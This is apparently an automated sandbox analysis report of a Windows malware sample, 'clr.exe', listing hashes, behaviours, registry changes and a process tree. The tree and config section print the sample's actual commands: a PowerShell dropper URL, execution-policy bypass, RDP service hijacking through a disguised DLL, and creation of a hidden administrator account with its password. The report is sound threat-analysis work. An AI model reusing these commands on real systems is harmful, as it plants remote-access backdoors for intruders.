8779c8ac97c45254bc243e2ee79b436d1a96bc56885dcaa72c4837790b2071fc

Analysis

max time kernel
123s
max time network
123s
platform
windows10_x64
resource
win10v20210410
submitted
27-04-2021 14:25

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General

Target

clr.exe
Size

6.0MB
MD5

1e9f45329ffece31382bb884367f58df
SHA1

52d3d55364d8c4d350231d38bfe6eb156cf8473f
SHA256

8779c8ac97c45254bc243e2ee79b436d1a96bc56885dcaa72c4837790b2071fc
SHA512

12272d5f20c42764992420aa1a178b16d7ef1873f2c9619bd8ac16e0eb9a0067a08a9d70863c1d3e95dd4a2aa19c081ae0baabaf3431f5068ea7191c8f4d6c62

Score

10^/10

persistence upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

flow	pid	Process
19	4008	powershell.exe
21	4008	powershell.exe
22	4008	powershell.exe
23	4008	powershell.exe
25	4008	powershell.exe
27	4008	powershell.exe
29	4008	powershell.exe
31	4008	powershell.exe
33	4008	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000500000001ab5b-224.dat	upx
behavioral2/files/0x000700000001ab5f-225.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
1832	Process not Found
1832	Process not Found

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI8533.tmp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI8564.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI8585.tmp	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_k5iassrv.4bm.ps1	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_ewhc0dk4.rge.psm1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI8553.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI8575.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1820	timeout.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "My Computer"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Flags = "33"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\https = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Flags = "33"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\LowIcon = "inetcpl.cpl#005424"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Flags = "33"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\DisplayName = "Trusted sites"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Flags = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\knownfolder = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\PMDisplayName = "My Computer [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Description = "Your computer"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1400 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\2ba02e083fadee33 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c004900450035005f00550041005f004200610063006b00750070005f0046006c00610067002c0000000100080035002e0030000000000000000000	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Icon = "inetcpl.cpl#00004481"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\@ivt = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map\2ba02e083fadee33 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings,IE5_UA_Backup_Flag,"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Description = "This zone contains all Web sites that are on your organization's intranet."	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1400 = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map\57fd7ae31ab34c2c = ",33,HKCU,SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\Cache\\Extensible Cache,"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\LowIcon = "inetcpl.cpl#005426"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\CurrentLevel = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Icon = "inetcpl.cpl#001313"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Flags = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Description = "This zone contains Web sites that you trust not to damage your computer or data."	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\ftp = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "My Computer [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\e1be3f182420a0a0 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c000000	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\EnableNegotiate = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\CurrentLevel = "66816"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\LowIcon = "inetcpl.cpl#005425"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1200 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1400 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data."	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2732	reg.exe

Runs net.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	22	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	23	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	25	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	21	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
180	powershell.exe
180	powershell.exe
180	powershell.exe
2892	powershell.exe
2892	powershell.exe
2892	powershell.exe
156	powershell.exe
156	powershell.exe
156	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
180	powershell.exe
180	powershell.exe
180	powershell.exe
4008	powershell.exe
4008	powershell.exe
4008	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
612	Process not Found
612	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	180	powershell.exe
Token: SeDebugPrivilege	2892	powershell.exe
Token: SeIncreaseQuotaPrivilege	2892	powershell.exe
Token: SeSecurityPrivilege	2892	powershell.exe
Token: SeTakeOwnershipPrivilege	2892	powershell.exe
Token: SeLoadDriverPrivilege	2892	powershell.exe
Token: SeSystemProfilePrivilege	2892	powershell.exe
Token: SeSystemtimePrivilege	2892	powershell.exe
Token: SeProfSingleProcessPrivilege	2892	powershell.exe
Token: SeIncBasePriorityPrivilege	2892	powershell.exe
Token: SeCreatePagefilePrivilege	2892	powershell.exe
Token: SeBackupPrivilege	2892	powershell.exe
Token: SeRestorePrivilege	2892	powershell.exe
Token: SeShutdownPrivilege	2892	powershell.exe
Token: SeDebugPrivilege	2892	powershell.exe
Token: SeSystemEnvironmentPrivilege	2892	powershell.exe
Token: SeRemoteShutdownPrivilege	2892	powershell.exe
Token: SeUndockPrivilege	2892	powershell.exe
Token: SeManageVolumePrivilege	2892	powershell.exe
Token: 33	2892	powershell.exe
Token: 34	2892	powershell.exe
Token: 35	2892	powershell.exe
Token: 36	2892	powershell.exe
Token: SeDebugPrivilege	156	powershell.exe
Token: SeIncreaseQuotaPrivilege	156	powershell.exe
Token: SeSecurityPrivilege	156	powershell.exe
Token: SeTakeOwnershipPrivilege	156	powershell.exe
Token: SeLoadDriverPrivilege	156	powershell.exe
Token: SeSystemProfilePrivilege	156	powershell.exe
Token: SeSystemtimePrivilege	156	powershell.exe
Token: SeProfSingleProcessPrivilege	156	powershell.exe
Token: SeIncBasePriorityPrivilege	156	powershell.exe
Token: SeCreatePagefilePrivilege	156	powershell.exe
Token: SeBackupPrivilege	156	powershell.exe
Token: SeRestorePrivilege	156	powershell.exe
Token: SeShutdownPrivilege	156	powershell.exe
Token: SeDebugPrivilege	156	powershell.exe
Token: SeSystemEnvironmentPrivilege	156	powershell.exe
Token: SeRemoteShutdownPrivilege	156	powershell.exe
Token: SeUndockPrivilege	156	powershell.exe
Token: SeManageVolumePrivilege	156	powershell.exe
Token: 33	156	powershell.exe
Token: 34	156	powershell.exe
Token: 35	156	powershell.exe
Token: 36	156	powershell.exe
Token: SeDebugPrivilege	1652	powershell.exe
Token: SeIncreaseQuotaPrivilege	1652	powershell.exe
Token: SeSecurityPrivilege	1652	powershell.exe
Token: SeTakeOwnershipPrivilege	1652	powershell.exe
Token: SeLoadDriverPrivilege	1652	powershell.exe
Token: SeSystemProfilePrivilege	1652	powershell.exe
Token: SeSystemtimePrivilege	1652	powershell.exe
Token: SeProfSingleProcessPrivilege	1652	powershell.exe
Token: SeIncBasePriorityPrivilege	1652	powershell.exe
Token: SeCreatePagefilePrivilege	1652	powershell.exe
Token: SeBackupPrivilege	1652	powershell.exe
Token: SeRestorePrivilege	1652	powershell.exe
Token: SeShutdownPrivilege	1652	powershell.exe
Token: SeDebugPrivilege	1652	powershell.exe
Token: SeSystemEnvironmentPrivilege	1652	powershell.exe
Token: SeRemoteShutdownPrivilege	1652	powershell.exe
Token: SeUndockPrivilege	1652	powershell.exe
Token: SeManageVolumePrivilege	1652	powershell.exe
Token: 33	1652	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3896 wrote to memory of 180	3896	clr.exe	76
PID 3896 wrote to memory of 180	3896	clr.exe	76
PID 180 wrote to memory of 1116	180	powershell.exe	80
PID 180 wrote to memory of 1116	180	powershell.exe	80
PID 1116 wrote to memory of 2056	1116	csc.exe	81
PID 1116 wrote to memory of 2056	1116	csc.exe	81
PID 180 wrote to memory of 2892	180	powershell.exe	83
PID 180 wrote to memory of 2892	180	powershell.exe	83
PID 180 wrote to memory of 156	180	powershell.exe	86
PID 180 wrote to memory of 156	180	powershell.exe	86
PID 180 wrote to memory of 1652	180	powershell.exe	88
PID 180 wrote to memory of 1652	180	powershell.exe	88
PID 180 wrote to memory of 4000	180	powershell.exe	90
PID 180 wrote to memory of 4000	180	powershell.exe	90
PID 180 wrote to memory of 2732	180	powershell.exe	91
PID 180 wrote to memory of 2732	180	powershell.exe	91
PID 180 wrote to memory of 3996	180	powershell.exe	92
PID 180 wrote to memory of 3996	180	powershell.exe	92
PID 180 wrote to memory of 2108	180	powershell.exe	93
PID 180 wrote to memory of 2108	180	powershell.exe	93
PID 2108 wrote to memory of 3460	2108	net.exe	94
PID 2108 wrote to memory of 3460	2108	net.exe	94
PID 180 wrote to memory of 3760	180	powershell.exe	95
PID 180 wrote to memory of 3760	180	powershell.exe	95
PID 3760 wrote to memory of 3744	3760	cmd.exe	96
PID 3760 wrote to memory of 3744	3760	cmd.exe	96
PID 3744 wrote to memory of 2124	3744	cmd.exe	97
PID 3744 wrote to memory of 2124	3744	cmd.exe	97
PID 2124 wrote to memory of 2560	2124	net.exe	98
PID 2124 wrote to memory of 2560	2124	net.exe	98
PID 180 wrote to memory of 3272	180	powershell.exe	99
PID 180 wrote to memory of 3272	180	powershell.exe	99
PID 3272 wrote to memory of 1020	3272	cmd.exe	100
PID 3272 wrote to memory of 1020	3272	cmd.exe	100
PID 1020 wrote to memory of 2720	1020	cmd.exe	101
PID 1020 wrote to memory of 2720	1020	cmd.exe	101
PID 2720 wrote to memory of 3548	2720	net.exe	102
PID 2720 wrote to memory of 3548	2720	net.exe	102
PID 3812 wrote to memory of 3856	3812	cmd.exe	106
PID 3812 wrote to memory of 3856	3812	cmd.exe	106
PID 3856 wrote to memory of 3056	3856	net.exe	107
PID 3856 wrote to memory of 3056	3856	net.exe	107
PID 2280 wrote to memory of 2144	2280	cmd.exe	110
PID 2280 wrote to memory of 2144	2280	cmd.exe	110
PID 2144 wrote to memory of 2056	2144	net.exe	111
PID 2144 wrote to memory of 2056	2144	net.exe	111
PID 2468 wrote to memory of 4012	2468	cmd.exe	114
PID 2468 wrote to memory of 4012	2468	cmd.exe	114
PID 4012 wrote to memory of 2104	4012	net.exe	115
PID 4012 wrote to memory of 2104	4012	net.exe	115
PID 2276 wrote to memory of 3756	2276	cmd.exe	118
PID 2276 wrote to memory of 3756	2276	cmd.exe	118
PID 3756 wrote to memory of 2716	3756	net.exe	119
PID 3756 wrote to memory of 2716	3756	net.exe	119
PID 2500 wrote to memory of 2228	2500	cmd.exe	122
PID 2500 wrote to memory of 2228	2500	cmd.exe	122
PID 2228 wrote to memory of 2072	2228	net.exe	123
PID 2228 wrote to memory of 2072	2228	net.exe	123
PID 4008 wrote to memory of 3976	4008	cmd.exe	126
PID 4008 wrote to memory of 3976	4008	cmd.exe	126
PID 3976 wrote to memory of 2128	3976	net.exe	127
PID 3976 wrote to memory of 2128	3976	net.exe	127
PID 2196 wrote to memory of 3312	2196	cmd.exe	130
PID 2196 wrote to memory of 3312	2196	cmd.exe	130

C:\Users\Admin\AppData\Local\Temp\clr.exe
"C:\Users\Admin\AppData\Local\Temp\clr.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3896
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:180
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kfjojb0z\kfjojb0z.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1116
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES450D.tmp" "c:\Users\Admin\AppData\Local\Temp\kfjojb0z\CSCC78E5CE9C19E4645A123A3B66AD516A1.TMP"
      4⤵
      PID:2056
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2892
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:156
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1652
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:4000
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:2732
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:3996
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2108
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:3460
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3760
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3744
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2124
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:2560
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3272
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1020
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2720
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:3548
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:2732
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:304
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /C timeout -n t& del C:\Users\Admin\AppData\Local\Temp\clr.exe
  2⤵
  PID:1020
- - C:\Windows\system32\timeout.exe
    timeout -n t
    3⤵
    - Delays execution with timeout.exe
    PID:1820

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:3812
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3856
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:3056

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc zGPS8iF9 /add
1⤵
- Suspicious use of WriteProcessMemory
PID:2280
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc zGPS8iF9 /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2144
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc zGPS8iF9 /add
    3⤵
    PID:2056

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:2468
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4012
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:2104

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:2276
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3756
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
    3⤵
    PID:2716

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:2500
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2228
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:2072

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc zGPS8iF9
1⤵
- Suspicious use of WriteProcessMemory
PID:4008
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc zGPS8iF9
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3976
